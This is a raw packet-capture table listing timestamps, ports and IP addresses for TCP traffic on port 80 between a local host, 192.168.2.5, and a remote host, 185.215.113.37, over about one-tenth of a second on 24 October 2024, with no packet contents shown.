Oct 24, 2024 08:38:47.228969097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.229000092 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.229029894 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.276005983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.276021004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.276043892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.276056051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.276067019 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.276067019 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.276084900 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.276103020 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.276103973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.276118040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.276125908 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.276130915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.276145935 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.276175022 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.310602903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310628891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310641050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310657978 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.310694933 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.310713053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310726881 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310739994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310746908 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.310755014 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310775995 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.310781002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310791969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310802937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310803890 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.310816050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310830116 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310833931 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.310868025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.310964108 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310976028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.310988903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311000109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311007023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311024904 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311048985 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311089993 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311099052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311122894 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311146021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311161041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311180115 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311186075 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311206102 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311219931 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311328888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311340094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311352968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311362982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311376095 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311399937 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311458111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311469078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311486006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311492920 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311515093 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311528921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311539888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311553955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311564922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311568975 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311589003 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311598063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311609983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311614037 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311629057 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311642885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311645985 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311661959 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311680079 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311697006 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311724901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311736107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311747074 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311764002 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311795950 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311846972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311860085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311887980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311887980 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311903000 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311906099 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311917067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311928034 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311930895 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311940908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.311944008 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311971903 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.311995029 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312016010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312026978 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312031031 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312040091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312058926 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312083006 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312127113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312141895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312153101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312177896 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312203884 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312233925 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312279940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312290907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312325954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312345982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312357903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312370062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312381983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312407970 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312433958 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312450886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312463045 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312493086 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312531948 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312542915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312565088 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312565088 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312577963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312591076 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312607050 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312726974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312736988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312758923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312767982 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312771082 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312803984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312810898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312823057 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.312844038 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.312870026 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313024044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313062906 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313095093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313106060 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313117981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313129902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313134909 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313143015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313147068 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313164949 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313189030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313237906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313250065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313261032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313272953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313276052 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313287020 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313290119 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313308001 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313323021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313332081 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313334942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313348055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313355923 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313371897 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313388109 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313458920 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313469887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313482046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313493967 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313517094 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313520908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313534021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313545942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313556910 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313570023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313585997 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313626051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313672066 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313680887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313692093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313714027 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313724995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313724995 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313739061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313750982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313751936 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313761950 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313776970 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313810110 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313903093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313915014 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313925982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313944101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313944101 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313957930 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.313961029 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.313987017 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314007044 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314019918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314033031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314055920 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314088106 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314207077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314219952 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314230919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314240932 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314244986 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314261913 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314276934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314285040 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314289093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314304113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314315081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314321041 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314351082 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314368963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314409018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314444065 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314477921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314488888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314527035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314529896 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314539909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314552069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314564943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314568043 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314593077 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314637899 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314661026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314747095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314789057 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314800978 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314812899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314826012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314838886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314840078 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314857960 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314884901 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.314969063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314980984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314990997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.314996958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315006971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.315023899 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.315058947 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315068960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315080881 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315093040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315099955 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.315109015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315114975 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.315121889 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315149069 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.315165997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315174103 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.315179110 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315197945 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.315216064 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.315241098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315253973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315277100 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.315293074 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.315327883 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.318245888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318295002 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.318358898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318373919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318386078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318397045 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318402052 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.318408966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318423986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318434954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318440914 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.318454981 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.318470955 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.318486929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318499088 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318510056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318521976 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.318542004 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.318562984 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339153051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339174986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339186907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339204073 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339235067 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339420080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339431047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339442968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339463949 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339487076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339493990 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339498997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339510918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339529037 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339548111 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339587927 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339600086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339611053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339626074 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339627028 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339637995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339649916 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339657068 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339689970 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339701891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339734077 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339737892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339749098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339770079 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339785099 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339814901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339827061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339838028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339859962 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339884043 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.339979887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.339992046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340002060 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340013027 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340014935 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.340029955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340044022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340048075 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.340056896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340069056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340082884 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.340096951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:47.340141058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340152979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340163946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340176105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340187073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:47.340184927 CEST	61014	80	192.168.2.5	185.215.113.37
